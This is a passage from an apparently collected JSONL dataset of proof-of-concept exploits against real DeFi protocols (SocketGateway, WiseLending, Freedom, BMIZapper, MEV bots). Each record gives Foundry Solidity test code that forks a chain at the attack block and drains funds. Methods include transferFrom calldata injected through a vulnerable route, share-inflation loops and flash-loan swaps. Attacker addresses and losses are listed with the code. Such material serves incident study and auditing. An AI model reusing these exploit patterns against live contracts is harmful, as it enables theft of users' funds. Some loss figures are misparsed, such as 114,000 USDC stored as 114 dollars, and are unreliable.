"has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xc4f82210c2952fcec77efe734ab2d9b14e858469", "keyinfo_attack_contract": "https://bscscan.com/address/0x5313f4f04fdcc2330ccfa5ba7da2780850d1d7be", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$51.0K", "content_richness_score": 6.48, "quality_estimate": "medium", "title": "XSIJ Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\ninterface ISocketGateway {\n function executeRoute(uint32 routeId, bytes calldata routeData) external payable returns (bytes memory);\n}\n\ninterface ISocketVulnRoute {\n function performAction(\n address fromToken,\n address toToken,\n uint256 amount,\n address receiverAddress,\n bytes32 metadata,\n bytes calldata swapExtraData\n ) external payable returns (uint256);\n}\n\n// @KeyInfo - Total Lost : ~3.3M US$\n// Attacker : https://etherscan.io/address/0x50DF5a2217588772471B84aDBbe4194A2Ed39066\n// Attack Contract : https://etherscan.io/address/0xf2D5951bB0A4d14BdcC37b66f919f9A1009C05d1\n// Vulnerable Contract : https://etherscan.io/address/0x3a23F943181408EAC424116Af7b7790c94Cb97a5 (the faulty route is vulnerable not the gateway itself)\n// Attack Tx : https://etherscan.io/tx/0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xCC5fDA5e3cA925bd0bb428C8b2669496eE43067e#code\n\n// @Analysis\n// Post-mortem :https://twitter.com/BeosinAlert/status/1747450173675196674\n// Twitter Guy : https://twitter.com/peckshield/status/1747353782004900274\n\n//In this example i didnt do a batch transferfrom for multiple target addresses,just did one for simplicity\ncontract SocketGatewayExp is BaseTestWithBalanceLog {\n address _gateway = 0x3a23F943181408EAC424116Af7b7790c94Cb97a5;\n address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n\n address targetUser = 0x7d03149A2843E4200f07e858d6c0216806Ca4242;\n uint32 routeId = 406; //Recently added vulnerable route id\n\n ISocketGateway gateway = ISocketGateway(_gateway);\n IERC20 USDC = IERC20(_usdc);\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_021_453);\n USDC.approve(_gateway, type(uint256).max);\n fundingToken = _usdc;\n }\n\n function getCallData(address token, address user) internal view returns (bytes memory callDataX) {\n require(IERC20(token).balanceOf(user) > 0, \"no amount of usdc for user\");\n callDataX =\n abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), IERC20(token).balanceOf(user));\n }\n\n function getRouteData(address token, address user) internal view returns (bytes memory callDataX2) {\n callDataX2 = abi.encodeWithSelector(\n ISocketVulnRoute.performAction.selector,\n token,\n token,\n 0,\n address(this),\n bytes32(\"\"),\n getCallData(_usdc, user)\n );\n }\n\n function testExploit() public balanceLog {\n gateway.executeRoute(routeId, getRouteData(_usdc, targetUser));\n require(USDC.balanceOf(address(this)) > 0, \"no usdc gotten\");\n }\n}\n", "type": "exploit_poc", "protocol": "SocketGateway", "date": "2024-01", "file_name": "SocketGateway_exp.sol", "attack_vector": null, "content_hash": "6608bf07d0a3bc94", "collected_at": "2026-01-07T10:59:16.529231", "_source": "postmortems", "chain": "ethereum", "block_number": 19021453, "total_lost_raw": "~3.3M US$", "total_lost_usd": 3300000.0, "attacker_address": "https://etherscan.io/address/0x50DF5a2217588772471B84aDBbe4194A2Ed39066", "attack_contract": "https://etherscan.io/address/0xf2D5951bB0A4d14BdcC37b66f919f9A1009C05d1", "vulnerable_contract": "https://etherscan.io/address/0x3a23F943181408EAC424116Af7b7790c94Cb97a5", "attack_tx": "https://etherscan.io/tx/0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6", "postmortem_url": "https://twitter.com/BeosinAlert/status/1747450173675196674", "twitter_url": "https://twitter.com/peckshield/status/1747353782004900274", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~3.3M US$", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n gateway.executeRoute(routeId, getRouteData(_usdc, targetUser));\n require(USDC.balanceOf(address(this)) > 0, \"no usdc gotten\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3.3M US$", "keyinfo_attacker": "https://etherscan.io/address/0x50DF5a2217588772471B84aDBbe4194A2Ed39066", "keyinfo_attack_contract": "https://etherscan.io/address/0xf2D5951bB0A4d14BdcC37b66f919f9A1009C05d1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x3a23F943181408EAC424116Af7b7790c94Cb97a5", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc6c3331fa8c2d30e1ef208424c08c039a89e510df2fb6ae31e5aa40722e28fd6", "analysis_postmortem": "https://twitter.com/BeosinAlert/status/1747450173675196674", "analysis_twitter": "https://twitter.com/peckshield/status/1747353782004900274", "funds_lost_formatted": "$3.30M", "content_richness_score": 7.45, "quality_estimate": "medium", "title": "SocketGateway Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.20;\n\nimport {Test, console} from \"forge-std/Test.sol\";\nimport {IERC20} from \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~464K USD$\n// Attacker : https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc\n// Attack Contract : https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c\n// Vulnerable Contract : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4\n// Attack Tx :https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4\n\n// @Analysis\n// Twitter alert by Exvul : https://twitter.com/EXVULSEC/status/1746138811862577515\n// Twitter alert by Peckshield: https://twitter.com/peckshield/status/1745907642118123774\n\ncontract WiseLendingTest is Test {\n IWiseLending public wiseLending = IWiseLending(payable(0x37e49bf3749513A02FA535F0CbC383796E8107E4));\n\n NFTManager public nft = NFTManager(0x32E0A7F7C4b1A19594d25bD9b63EBA912b1a5f61);\n\n uint256 blockNumber = 18_983_652;\n\n // PLP-stETH-Dec2025\n address poolToken = 0xB40b073d7E47986D3A45Ca7Fd30772C25A2AD57f;\n\n address pendleLPT = 0xC374f7eC85F8C7DE3207a10bB1978bA104bdA3B2;\n\n address other;\n\n address wsteth = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\n\n address wstethOracle = 0x9aB8A49677a20fc0cC694479DF4462a82B4Cc1C4;\n\n address wiseSecurity = 0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18;\n\n uint256 constant MAX = type(uint256).max;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blockNumber);\n\n vm.label(address(wiseLending), \"wiseLending\");\n vm.label(address(poolToken), \"poolToken\");\n vm.label(address(pendleLPT), \"pendleLPT\");\n vm.label(address(other), \"other\");\n vm.label(wsteth, \"wsteth\");\n vm.label(wstethOracle, \"wstethOracle\");\n vm.label(wiseSecurity, \"wiseSecurity\");\n other = vm.addr(123_123);\n }\n\n function test_poc() public {\n deal(pendleLPT, address(this), 1 ether);\n\n IERC20(pendleLPT).approve(poolToken, MAX);\n\n Pool(poolToken).depositExactAmount(1 ether);\n\n IERC20(poolToken).approve(address(wiseLending), MAX);\n\n uint256 nftId = nft.mintPosition();\n\n wiseLending.depositExactAmount(nftId, poolToken, 1e9);\n\n IERC20(poolToken).transfer(address(wiseLending), 1e9);\n\n (uint256 pseudoTotalPool, uint256 totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n\n skip(5 seconds);\n\n uint256 share = wiseLending.getPositionLendingShares(nftId, poolToken);\n\n // withdraw all shares\n wiseLending.withdrawExactShares(nftId, poolToken, share);\n\n uint256 i = 0;\n do {\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);\n\n wiseLending.withdrawExactAmount(nftId, poolToken, share);\n ++i;\n } while (i < 20);\n\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n\n IERC20(poolToken).transfer(other, IERC20(poolToken).balanceOf(address(this)));\n vm.startPrank(other);\n nftId = nft.mintPosition();\n IERC20(poolToken).approve(address(wiseLending), MAX);\n\n wiseLending.depositExactAmount(nftId, poolToken, IERC20(poolToken).balanceOf(other));\n\n uint256 amount = IWiseSecurity(wiseSecurity).maximumBorrowToken(nftId, poolToken, 0);\n\n wiseLending.borrowExactAmount(nftId, wsteth, amount);\n }\n\n function _simulateOracleCall() internal {\n (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) =\n Oracle(wstethOracle).latestRoundData();\n vm.mockCall(\n wstethOracle,\n abi.encodeCall(Oracle.latestRoundData, ()),\n abi.encode(roundId, answer, block.timestamp, block.timestamp, answeredInRound)\n );\n\n uint80 _roundId;\n (_roundId, answer, startedAt, updatedAt, answeredInRound) = Oracle(wstethOracle).getRoundData(roundId);\n\n vm.mockCall(\n wstethOracle,\n abi.encodeCall(Oracle.getRoundData, (roundId)),\n abi.encode(_roundId, answer, block.timestamp, block.timestamp, answeredInRound)\n );\n }\n}\n\ninterface Pool {\n function depositExactAmount(\n uint256 _underlyingLpAssetAmount\n ) external returns (uint256, uint256);\n function getPositionLendingShares(uint256, address) external returns (uint256);\n}\n\ninterface NFTManager {\n function mintPosition() external returns (uint256);\n}\n\ninterface Oracle {\n function latestRoundData()\n external\n view\n returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);\n}\n\ninterface IWiseLending {\n function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n\n function withdrawExactShares(uint256 _nftId, address _poolToken, uint256 _shares) external returns (uint256);\n\n function withdrawExactAmount(\n uint256 _nftId,\n address _poolToken,\n uint256 _withdrawAmount\n ) external returns (uint256);\n\n function getPositionLendingShares(uint256 _nftId, address _poolToken) external view returns (uint256);\n\n function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n\n function lendingPoolData(\n address _poolToken\n ) external view returns (uint256 pseudoTotalPool, uint256 totalDepositShares, uint256 collateralFactor);\n}\n\ninterface IWiseSecurity {\n function maximumBorrowToken(\n uint256 _nftId,\n address _poolToken,\n uint256 _interval\n ) external view returns (uint256 tokenAmount);\n}\n", "type": "exploit_poc", "protocol": "WiseLending02", "date": "2024-01", "file_name": "WiseLending02_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "629a7c86976b4097", "collected_at": "2026-01-07T10:59:16.529285", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~464K USD$", "total_lost_usd": 464000.0, "attacker_address": "https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc", "attack_contract": "https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c", "vulnerable_contract": "https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4", "attack_tx": "https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~464K USD$", "category": "oracle-manipulation", "exploit_code": "function test_poc() public {\n deal(pendleLPT, address(this), 1 ether);\n\n IERC20(pendleLPT).approve(poolToken, MAX);\n\n Pool(poolToken).depositExactAmount(1 ether);\n\n IERC20(poolToken).approve(address(wiseLending), MAX);\n\n uint256 nftId = nft.mintPosition();\n\n wiseLending.depositExactAmount(nftId, poolToken, 1e9);\n\n IERC20(poolToken).transfer(address(wiseLending), 1e9);\n\n (uint256 pseudoTotalPool, uint256 totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n\n skip(5 seconds);\n\n uint256 share = wiseLending.getPositionLendingShares(nftId, poolToken);\n\n // withdraw all shares\n wiseLending.withdrawExactShares(nftId, poolToken, share);\n\n uint256 i = 0;\n do {\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);\n\n wiseLending.withdrawExactAmount(nftId, poolToken, share);\n ++i;\n } while (i < 20);\n\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n share = wiseLending.depositExactAmount(nftId, poolToken, pseudoTotalPool * 2 - 1);\n (pseudoTotalPool, totalDepositShares,) = wiseLending.lendingPoolData(poolToken);\n\n IERC20(poolToken).transfer(other, IERC20(poolToken).balanceOf(address(this)));\n vm.startPrank(other);\n nftId = nft.mintPosition();\n IERC20(poolToken).approve(address(wiseLending), MAX);\n\n wiseLending.depositExactAmount(nftId, poolToken, IERC20(poolToken).balanceOf(other));\n\n uint256 amount = IWiseSecurity(wiseSecurity).maximumBorrowToken(nftId, poolToken, 0);\n\n wiseLending.borrowExactAmount(nftId, wsteth, amount);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~464K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc", "keyinfo_attack_contract": "https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4", "keyinfo_attack_tx": "https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$464.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "WiseLending02 Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~74 $WBNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0x4512abb79f1f80830f4641caefc5ab33654a2d49\n// Vulnerable Contract : https://bscscan.com/address/0xae3ada8787245977832c6dab2d4474d3943527ab\n// Attack Tx : https://bscscan.com/tx/0x309523343cc1bb9d28b960ebf83175fac941b4a590830caccff44263d9a80ff0\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IFREEWBNBPOOL {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ninterface IUSDTHACKPOOL {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function skim(\n address to\n ) external;\n function sync() external;\n}\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface IFREEB {\n function buyToken(uint256 listingId, uint256 expectedPaymentAmount) external;\n}\n\ncontract ContractTest is Test {\n event TokenBalance(string key, uint256 val);\n\n IERC20 FREE = IERC20(0x8A43Eb772416f934DE3DF8F9Af627359632CB53F);\n IFREEB FREEB = IFREEB(0xAE3ADa8787245977832c6DaB2d4474D3943527Ab);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IFREEWBNBPOOL Pair = IFREEWBNBPOOL(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n\n address FREEBProxy = 0xAE3ADa8787245977832c6DaB2d4474D3943527Ab;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 35_123_711 - 1);\n vm.label(address(FREE), \"FREE\");\n vm.label(address(FREEB), \"FREEB\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)));\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(500 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n require(msg.sender == address(DODO), \"Fail\");\n FREE.approve(address(Router), type(uint256).max);\n WBNBTOTOKEN();\n FREEB.buyToken(FREEBProxy.balance, 5 * 1e18);\n TOKENTOWBNB();\n WBNB.transfer(address(DODO), 500 * 1e18);\n }\n\n function WBNBTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(FREE);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function TOKENTOWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(FREE);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FREE.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Freedom", "date": "2024-01", "file_name": "Freedom_exp.sol", "attack_vector": "flash_loan", "content_hash": "f9448adf9cb9af3b", "collected_at": "2026-01-07T10:59:16.529338", "_source": "postmortems", "chain": "bsc", "block_number": 35123711, "total_lost_raw": "~74 $WBNB", "total_lost_usd": 74.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0x4512abb79f1f80830f4641caefc5ab33654a2d49", "vulnerable_contract": "https://bscscan.com/address/0xae3ada8787245977832c6dab2d4474d3943527ab", "attack_tx": "https://bscscan.com/tx/0x309523343cc1bb9d28b960ebf83175fac941b4a590830caccff44263d9a80ff0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~74 $WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)));\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(500 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack:\", WBNB.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~74 $WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0x4512abb79f1f80830f4641caefc5ab33654a2d49", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xae3ada8787245977832c6dab2d4474d3943527ab", "keyinfo_attack_tx": "https://bscscan.com/tx/0x309523343cc1bb9d28b960ebf83175fac941b4a590830caccff44263d9a80ff0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$74", "content_richness_score": 8.7, "quality_estimate": "high", "title": "Freedom Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n @KeyInfo\n - Total Lost: 114,000 USDC\n - Attacker: https://etherscan.io/address/0x63136677355840f26c0695dd6de5c9e4f514f8e8\n - Attack Contract: https://etherscan.io/address/0xae5919160a646f5d80d89f7aae35a2ca74738440\n - Vuln Contract: https://etherscan.io/address/0x4622aff8e521a444c9301da0efd05f6b482221b8\n - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x97201900198d0054a2f7a914f5625591feb6a18e7fc6bb4f0c964b967a6c15f6\n - Analysis: https://x.com/0xmstore/status/1747756898172952725?s=20\n*/\n\ninterface IBMIZapper {\n function zapToBMI(\n address _from,\n uint256 _amount,\n address _fromUnderlying,\n uint256 _fromUnderlyingAmount,\n uint256 _minBMIRecv,\n address[] calldata _bmiConstituents,\n uint256[] calldata _bmiConstituentsWeightings,\n address _aggregator,\n bytes calldata _aggregatorData,\n bool refundDust\n ) external returns (uint256);\n}\n\ncontract ExploitTest is Test {\n IBMIZapper bmiZapper = IBMIZapper(0x4622aFF8E521A444C9301dA0efD05f6b482221b8);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);\n\n address victim = 0x07d7685bECB1a72a1Cf614b4067419334C9f1b4d;\n address attacker = address(this);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 19_029_290 - 1);\n cheats.label(address(bmiZapper), \"BMIZapper\");\n cheats.label(address(USDC), \"USDC\");\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"Victim's USDC balance before exploit\", USDC.balanceOf(victim), USDC.decimals());\n\n uint256 victimBalance = USDC.balanceOf(victim);\n\n address[] memory bmiConstituents = new address[](0); // Empty bmiConstituents array\n uint256[] memory bmiConstituentsWeightings = new uint256[](1);\n bmiConstituentsWeightings[0] = 1e18; // 100% weighting for demonstration\n\n // Craft malicious data to call a transferFrom function in the USDC token contract\n\n bytes memory maliciousCallData =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victim, attacker, victimBalance);\n\n // Call zapToBMI with malicious aggregator data\n\n bmiZapper.zapToBMI(\n address(BUSD), // BUSD\n 0, // _amount\n address(0), // _fromUnderlying\n 0, // _fromUnderlyingAmount\n 0, // _minBMIRecv\n bmiConstituents,\n bmiConstituentsWeightings,\n address(USDC), // _aggregator\n maliciousCallData, // _aggregatorData\n true\n );\n\n emit log_named_decimal_uint(\"Victim's USDC balance after exploit\", USDC.balanceOf(victim), USDC.decimals());\n\n emit log_named_decimal_uint(\"Attacker's USDC balance after exploit\", USDC.balanceOf(attacker), USDC.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "Bmizapper", "date": "2024-01", "file_name": "Bmizapper_exp.sol", "attack_vector": null, "content_hash": "a950bb4b747fa5cb", "collected_at": "2026-01-07T10:59:16.529386", "_source": "postmortems", "chain": "ethereum", "block_number": 19029290, "total_lost_raw": "114,000 USDC", "total_lost_usd": 114.0, "attacker_address": "https://etherscan.io/address/0x63136677355840f26c0695dd6de5c9e4f514f8e8", "attack_contract": "https://etherscan.io/address/0xae5919160a646f5d80d89f7aae35a2ca74738440", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x97201900198d0054a2f7a914f5625591feb6a18e7fc6bb4f0c964b967a6c15f6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "114,000 USDC", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "114,000 USDC", "keyinfo_attacker": "https://etherscan.io/address/0x63136677355840f26c0695dd6de5c9e4f514f8e8", "keyinfo_attack_contract": "https://etherscan.io/address/0xae5919160a646f5d80d89f7aae35a2ca74738440", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x97201900198d0054a2f7a914f5625591feb6a18e7fc6bb4f0c964b967a6c15f6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$114", "content_richness_score": 4.55, "quality_estimate": "low", "title": "Bmizapper Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~1000 $BUSD\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0xd66a43d0a3e853b98d14268e240cf973e3fa986e\n// Vulnerable Contract : https://bscscan.com/address/0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46\n// Attack Tx : https://bscscan.com/tx/0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n event TokenBalance(string key, uint256 val);\n\n IERC20 SHELL = IERC20(0x5Df670150Be23c7BCF764E57F24D46BA88dCa621);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n address Victim1 = 0x100006d330F46e8f60359aFE62C29714e5D8438C;\n address Victim2 = 0xf5339777FE60a597316ad0B9Ed8A2b0444cF8317;\n\n address Robot1 = 0xa898b78B7cbBabacf9d179C4C46c212c0aC66F46;\n address Robot2 = 0x923AA7C73909b21CF0854904dF2fA2394087f818;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 35_273_751 - 1);\n vm.label(address(Victim1), \"Victim1\");\n vm.label(address(Victim2), \"Victim2\");\n vm.label(address(Robot1), \"Robot1\");\n vm.label(address(Robot2), \"Robot2\");\n }\n\n function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n SHELL.approve(address(Router), type(uint256).max);\n while (BUSD.balanceOf(Victim1) > 10 * 1e18) {\n Robot1.call(\n abi.encodeWithSelector(\n bytes4(0x5f90d725), Victim2, Victim1, address(this), BUSD.balanceOf(address(Victim1)), 100, 360\n )\n );\n }\n while (BUSD.balanceOf(Victim2) > 10 * 1e18) {\n Robot2.call(\n abi.encodeWithSelector(\n bytes4(0x5f90d725), Victim2, Victim2, address(this), BUSD.balanceOf(address(Victim2)), 100, 360\n )\n );\n }\n\n TOKENTOBUSD();\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n }\n\n function TOKENTOBUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(SHELL);\n path[1] = address(BUSD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SHELL.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Shell_MEV_0xa898", "date": "2024-01", "file_name": "Shell_MEV_0xa898_exp.sol", "attack_vector": null, "content_hash": "edc2d9f5d9927074", "collected_at": "2026-01-07T10:59:16.529434", "_source": "postmortems", "chain": "bsc", "block_number": 35273751, "total_lost_raw": "~1000 $BUSD", "total_lost_usd": 1000.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0xd66a43d0a3e853b98d14268e240cf973e3fa986e", "vulnerable_contract": "https://bscscan.com/address/0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46", "attack_tx": "https://bscscan.com/tx/0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~1000 $BUSD", "category": "unknown", "exploit_code": "function testExploit() public {\n BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n SHELL.approve(address(Router), type(uint256).max);\n while (BUSD.balanceOf(Victim1) > 10 * 1e18) {\n Robot1.call(\n abi.encodeWithSelector(\n bytes4(0x5f90d725), Victim2, Victim1, address(this), BUSD.balanceOf(address(Victim1)), 100, 360\n )\n );\n }\n while (BUSD.balanceOf(Victim2) > 10 * 1e18) {\n Robot2.call(\n abi.encodeWithSelector(\n bytes4(0x5f90d725), Victim2, Victim2, address(this), BUSD.balanceOf(address(Victim2)), 100, 360\n )\n );\n }\n\n TOKENTOBUSD();\n emit log_named_uint(\"Attacker BUSD balance before attack\", BUSD.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1000 $BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0xd66a43d0a3e853b98d14268e240cf973e3fa986e", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xa898b78b7cbbabacf9d179c4c46c212c0ac66f46", "keyinfo_attack_tx": "https://bscscan.com/tx/0x24f114c0ef65d39e0988d164e052ce8052fe4a4fd303399a8c1bb855e8da01e9", "analysis_postmortem": "", "analysis_twitter": "", 